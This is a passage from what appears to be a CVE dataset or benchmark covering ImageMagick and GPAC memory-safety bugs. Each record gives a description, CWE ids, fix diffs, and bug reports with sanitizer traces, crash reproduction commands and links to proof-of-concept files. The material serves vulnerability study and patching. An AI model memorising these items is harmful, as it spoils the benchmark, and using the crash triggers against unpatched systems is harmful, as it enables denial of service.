The fix for this and the reproducer are on master. | https://nvd.nist.gov/vuln/detail/CVE-2017-17669 | ||||
imagemagick.cve-2017-12641 | ImageMagick 7.0.6-1 has a memory leak vulnerability in ReadOneJNGImage in coders\png.c. | https://github.com/ImageMagick/ImageMagick/commit/c9aa9f80828594eacbe3affe16c43d623562e5d8, https://github.com/ImageMagick/ImageMagick/issues/550 | CWE-772 | ImageMagick/ImageMagick | c9aa9f80828594eacbe3affe16c43d623562e5d8~1 | diff --git a/coders/png.c b/coders/png.c
index dc8be522074..080709c047c 100644
--- a/coders/png.c
+++ b/coders/png.c
@@ -4377,7 +4377,13 @@ static Image *ReadOneJNGImage(MngInfo *mng_info,
type[0],type[1],type[2],type[3],(double) length);
if (length > PNG_UINT_31_MAX || count == 0)
- ThrowReaderException(CorruptImageError,"CorruptImage");
+ {
+ if (color_image != (Image *) NULL)
+ color_image=DestroyImage(color_image);
+ if (color_image_info != (Image *) NULL)
+ color_image_info=DestroyImageInfo(color_image_info);
+ ThrowReaderException(CorruptImageError,"CorruptImage");
+ }
p=NULL;
chunk=(unsigned char *) NULL;
| https://github.com/ImageMagick/ImageMagick/issues/550 | === https://github.com/ImageMagick/ImageMagick/issues/550 ===
Title: memory leak in ReadOneJNGImage
---
Body:
Version: ImageMagick 7.0.6-1 Q16 x86_64
```
#./magick identify $FILE
=================================================================
==32637==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 13488 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8d5b9db9 in AcquireImage image.c:169:19
#3 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#4 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#5 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#6 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#7 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#8 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#9 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#10 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#11 0x514f77 in MagickMain magick.c:151:10
#12 0x5149d1 in main magick.c:263:10
#13 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Direct leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8dc4739f in ReadOneJNGImage png.c:4477:39
#3 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#4 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#5 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#6 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#7 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#8 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#9 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#10 0x514f77 in MagickMain magick.c:151:10
#11 0x5149d1 in main magick.c:263:10
#12 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 13024 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8d5be753 in AcquireImageInfo image.c:347:28
#3 0x7fbe8d5c78c3 in CloneImageInfo image.c:952:14
#4 0x7fbe8d5be688 in SyncImageSettings image.c:4051:21
#5 0x7fbe8d5bbe88 in AcquireImage image.c:290:10
#6 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#7 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#8 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#9 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#10 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#11 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#12 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#13 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#14 0x514f77 in MagickMain magick.c:151:10
#15 0x5149d1 in main magick.c:263:10
#16 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 9096 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8d60afd8 in AcquireQuantumMemory memory.c:536:10
#3 0x7fbe8d3891e4 in AcquirePixelCache cache.c:195:28
#4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16
#5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#13 0x514f77 in MagickMain magick.c:151:10
#14 0x5149d1 in main magick.c:263:10
#15 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 512 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8d60afd8 in AcquireQuantumMemory memory.c:536:10
#3 0x7fbe8d64a44a in AcquirePixelChannelMap pixel.c:101:35
#4 0x7fbe8d5ba77b in AcquireImage image.c:208:22
#5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#13 0x514f77 in MagickMain magick.c:151:10
#14 0x5149d1 in main magick.c:263:10
#15 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 280 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8d367dfd in CloneBlobInfo blob.c:504:27
#3 0x7fbe8d5ba7d1 in AcquireImage image.c:209:15
#4 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#5 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#6 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#7 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#8 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#9 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#10 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#11 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#12 0x514f77 in MagickMain magick.c:151:10
#13 0x5149d1 in main magick.c:263:10
#14 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66
#1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10
#2 0x7fbe8d60afd8 in AcquireQuantumMemory memory.c:536:10
#3 0x7fbe8d389ca4 in AcquirePixelCacheNexus cache.c:268:31
#4 0x7fbe8d389704 in AcquirePixelCache cache.c:211:26
#5 0x7fbe8d5ba6bd in AcquireImage image.c:206:16
#6 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#7 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#8 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#9 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#10 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#11 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#12 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#13 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#14 0x514f77 in MagickMain magick.c:151:10
#15 0x5149d1 in main magick.c:263:10
#16 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142
#1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7
#2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36
#3 0x7fbe8d5ba935 in AcquireImage image.c:213:20
#4 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#5 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#6 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#7 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#8 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#9 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#10 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#11 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#12 0x514f77 in MagickMain magick.c:151:10
#13 0x5149d1 in main magick.c:263:10
#14 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142
#1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7
#2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36
#3 0x7fbe8d3899c3 in AcquirePixelCache cache.c:226:25
#4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16
#5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#13 0x514f77 in MagickMain magick.c:151:10
#14 0x5149d1 in main magick.c:263:10
#15 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142
#1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7
#2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36
#3 0x7fbe8d368bf7 in GetBlobInfo blob.c:1414:24
#4 0x7fbe8d367eec in CloneBlobInfo blob.c:507:3
#5 0x7fbe8d5ba7d1 in AcquireImage image.c:209:15
#6 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#7 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#8 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#9 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#10 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#11 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#12 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#13 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#14 0x514f77 in MagickMain magick.c:151:10
#15 0x5149d1 in main magick.c:263:10
#16 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142
#1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7
#2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36
#3 0x7fbe8d389a52 in AcquirePixelCache cache.c:228:30
#4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16
#5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#13 0x514f77 in MagickMain magick.c:151:10
#14 0x5149d1 in main magick.c:263:10
#15 0x7fbe87456f44 in __libc_start_main libc-start.c:287
Indirect leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142
#1 0x7fbe8d60adb2 in AcquireAlignedMemory memory.c:261:7
#2 0x7fbe8d389bae in AcquirePixelCacheNexus cache.c:264:29
#3 0x7fbe8d389704 in AcquirePixelCache cache.c:211:26
#4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16
#5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21
#6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9
#7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13
#8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9
#9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9
#10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10
#11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18
#12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14
#13 0x514f77 in MagickMain magick.c:151:10
#14 0x5149d1 in main magick.c:263:10
#15 0x7fbe87456f44 in __libc_start_main libc-start.c:287
SUMMARY: AddressSanitizer: 49832 byte(s) leaked in 12 allocation(s).
```
testcase: https://github.com/jgj212/poc/blob/master/leak-ReadOneJNGImage
Credit : ADLab of Venustech
---
Comment #1 by mikayla-grace:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by bastien-roucaries:
Hi, I suppose https://github.com/ImageMagick/ImageMagick/commit/982d89a952e7d6840ec7851c364f489a50d805b7#diff-06e0c72bb0a365a2fa4145b89e0a750a is also needed
---
Comment #3 by nohmask:
This was assigned CVE-2017-12641. | https://nvd.nist.gov/vuln/detail/CVE-2017-12641 | |||
gpac.cve-2023-0819 | Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to v2.3.0-DEV. | https://huntr.dev/bounties/35793610-dccc-46c8-9f55-6a24c621e4ef | https://github.com/gpac/gpac/commit/1b77837ca27a80c695363416077bcab1aa72dc0a, https://github.com/gpac/gpac/commit/c972a6eec5 | CWE-122, CWE-787 | gpac/gpac | 1b77837ca27a80c695363416077bcab1aa72dc0a~1 | diff --git a/src/filters/reframe_mp3.c b/src/filters/reframe_mp3.c
index 096e0ce0e5..c112492dad 100644
--- a/src/filters/reframe_mp3.c
+++ b/src/filters/reframe_mp3.c
@@ -668,8 +668,8 @@ GF_Err mp3_dmx_process(GF_Filter *filter)
}
if (!ctx->in_seek) {
- if (size > remain) {
- GF_LOG(GF_LOG_WARNING, GF_LOG_MEDIA, ("[MP3Dmx] truncated frame of size %u (remains %u)\n", size, remain));
+ if (bytes_skipped + size > remain) {
+ GF_LOG(GF_LOG_WARNING, GF_LOG_MEDIA, ("[MP3Dmx] truncated frame of size %u (remains %d)\n", size, remain-bytes_skipped));
break;
}
dst_pck = gf_filter_pck_new_alloc(ctx->opid, size, &output);
diff --git a/src/media_tools/mpegts.c b/src/media_tools/mpegts.c
index 8c41152d4d..eb87c813a5 100644
--- a/src/media_tools/mpegts.c
+++ b/src/media_tools/mpegts.c
@@ -948,7 +948,7 @@ static void gf_m2ts_process_tdt_tot(GF_M2TS_Demuxer *ts, GF_M2TS_SECTION_ES *tdt
if (data_size < 5) {
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[MPEG-2 TS] Section data size too small to read date (len: %u)\n", data_size));
- return;
+ goto error_exit;
}
/*UTC_time - see annex C of DVB-SI ETSI EN 300468*/
| https://nvd.nist.gov/vuln/detail/CVE-2023-0819 | ||||
gpac.cve-2023-2840 | NULL Pointer Dereference in GitHub repository gpac/gpac prior to 2.2.2. | https://huntr.dev/bounties/21926fc2-6eb1-4e24-8a36-e60f487d0257 | https://github.com/gpac/gpac/commit/ba59206b3225f0e8e95a27eff41cb1c49ddf9a37, https://huntr.dev/bounties/21926fc2-6eb1-4e24-8a36-e60f487d0257 | CWE-476 | gpac/gpac | ba59206b3225f0e8e95a27eff41cb1c49ddf9a37~1 | diff --git a/src/isomedia/movie_fragments.c b/src/isomedia/movie_fragments.c
index b742078d15..41d0717a48 100644
--- a/src/isomedia/movie_fragments.c
+++ b/src/isomedia/movie_fragments.c
@@ -2876,7 +2876,8 @@ GF_Err gf_isom_fragment_add_sample_ex(GF_ISOFile *movie, GF_ISOTrackID TrackID,
//rewrite OD frames
if (traf->trex->track->Media->handler->handlerType == GF_ISOM_MEDIA_OD) {
//this may fail if dependencies are not well done ...
- Media_ParseODFrame(traf->trex->track->Media, sample, &od_sample);
+ GF_Err e = Media_ParseODFrame(traf->trex->track->Media, sample, &od_sample);
+ if (!od_sample) return e;
sample = od_sample;
}
| https://nvd.nist.gov/vuln/detail/CVE-2023-2840 | ||||
gpac.cve-2022-29537 | gp_rtp_builder_do_hevc in ietf/rtp_pck_mpeg4.c in GPAC 2.0.0 has a heap-based buffer over-read, as demonstrated by MP4Box. | https://github.com/gpac/gpac/issues/2173 | https://github.com/gpac/gpac/commit/1773b7a34bc08734aee7d3f5dfe65d06389fe15a | CWE-125 | gpac/gpac | 1773b7a34bc08734aee7d3f5dfe65d06389fe15a~1 | diff --git a/src/ietf/rtp_pck_mpeg4.c b/src/ietf/rtp_pck_mpeg4.c
index d8bec0d20c..462d2c99b3 100644
--- a/src/ietf/rtp_pck_mpeg4.c
+++ b/src/ietf/rtp_pck_mpeg4.c
@@ -421,6 +421,7 @@ GF_Err gp_rtp_builder_do_avc(GP_RTPPacketizer *builder, u8 *nalu, u32 nalu_size,
}
if (!nalu) return GF_OK;
+ if (nalu_size<1) return GF_NON_COMPLIANT_BITSTREAM;
/*need a new RTP packet*/
if (!builder->bytesInPacket) {
@@ -559,6 +560,7 @@ GF_Err gp_rtp_builder_do_hevc(GP_RTPPacketizer *builder, u8 *nalu, u32 nalu_size
}
if (!nalu) return GF_OK;
+ if (nalu_size<2) return GF_NON_COMPLIANT_BITSTREAM;
/*need a new RTP packet*/
if (!builder->bytesInPacket) {
@@ -714,6 +716,7 @@ GF_Err gp_rtp_builder_do_vvc(GP_RTPPacketizer *builder, u8 *nalu, u32 nalu_size,
}
if (!nalu) return GF_OK;
+ if (nalu_size<2) return GF_NON_COMPLIANT_BITSTREAM;
/*need a new RTP packet*/
if (!builder->bytesInPacket) {
| https://github.com/gpac/gpac/issues/2173 | =================================================================
==2628578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001f15 at pc 0x7f14c2411bf5 bp 0x7ffec49a0110 sp 0x7ffec49a0100
READ of size 1 at 0x602000001f15 thread T0
#0 0x7f14c2411bf4 in gp_rtp_builder_do_hevc ietf/rtp_pck_mpeg4.c:594
#1 0x7f14c29c1da6 in gf_hinter_track_process media_tools/isom_hinter.c:834
#2 0x561e3a6f0d97 in HintFile /home/hzheng/real-validate/gpac/applications/mp4box/main.c:3613
#3 0x561e3a6f857b in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6481
#4 0x7f14bfb8b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#5 0x561e3a6d0aed in _start (/home/hzheng/real-validate/gpac/bin/gcc/MP4Box+0xa9aed)
0x602000001f15 is located 0 bytes to the right of 5-byte region [0x602000001f10,0x602000001f15)
allocated by thread T0 here:
#0 0x7f14c58d9bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x7f14c268782d in Media_GetSample isomedia/media.c:623
#2 0x7f14c25e6e5c in gf_isom_get_sample_ex isomedia/isom_read.c:1905
#3 0x7f14c29c16bd in gf_hinter_track_process media_tools/isom_hinter.c:756
#4 0x561e3a6f0d97 in HintFile /home/hzheng/real-validate/gpac/applications/mp4box/main.c:3613
#5 0x561e3a6f857b in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6481
#6 0x7f14bfb8b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow ietf/rtp_pck_mpeg4.c:594 in gp_rtp_builder_do_hevc
Shadow bytes around the buggy address:
0x0c047fff8390: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83a0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83c0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83d0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff83e0: fa fa[05]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2628578==ABORTING | === https://github.com/gpac/gpac/issues/2173 ===
Title: [BUG] heap buffer overflow in gp_rtp_builder_do_hevc
---
Body:
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
## Describe the bug
There is a heap-overflow bug in gp_rtp_builder_do_hevc, can be triggered via MP4Box+ ASan
## Step to reproduce
./configure --enable-sanitizer && make -j$(nproc)
./MP4Box -hint -out /dev/null poc
## Sanitizer output
```
[iso file] Box "hvcC" (start 919) has 26 extra bytes
Hinting track ID 1 - Type "hvc1:hvc1" (H265) - BW 3 kbps
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 191 but only 3 bytes left in sample 11
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
[rtp hinter] Broken AVC nalu encapsulation: NALU size is 0, ignoring it
=================================================================
==2628578==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001f15 at pc 0x7f14c2411bf5 bp 0x7ffec49a0110 sp 0x7ffec49a0100
READ of size 1 at 0x602000001f15 thread T0
#0 0x7f14c2411bf4 in gp_rtp_builder_do_hevc ietf/rtp_pck_mpeg4.c:594
#1 0x7f14c29c1da6 in gf_hinter_track_process media_tools/isom_hinter.c:834
#2 0x561e3a6f0d97 in HintFile /home/hzheng/real-validate/gpac/applications/mp4box/main.c:3613
#3 0x561e3a6f857b in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6481
#4 0x7f14bfb8b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#5 0x561e3a6d0aed in _start (/home/hzheng/real-validate/gpac/bin/gcc/MP4Box+0xa9aed)
0x602000001f15 is located 0 bytes to the right of 5-byte region [0x602000001f10,0x602000001f15)
allocated by thread T0 here:
#0 0x7f14c58d9bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x7f14c268782d in Media_GetSample isomedia/media.c:623
#2 0x7f14c25e6e5c in gf_isom_get_sample_ex isomedia/isom_read.c:1905
#3 0x7f14c29c16bd in gf_hinter_track_process media_tools/isom_hinter.c:756
#4 0x561e3a6f0d97 in HintFile /home/hzheng/real-validate/gpac/applications/mp4box/main.c:3613
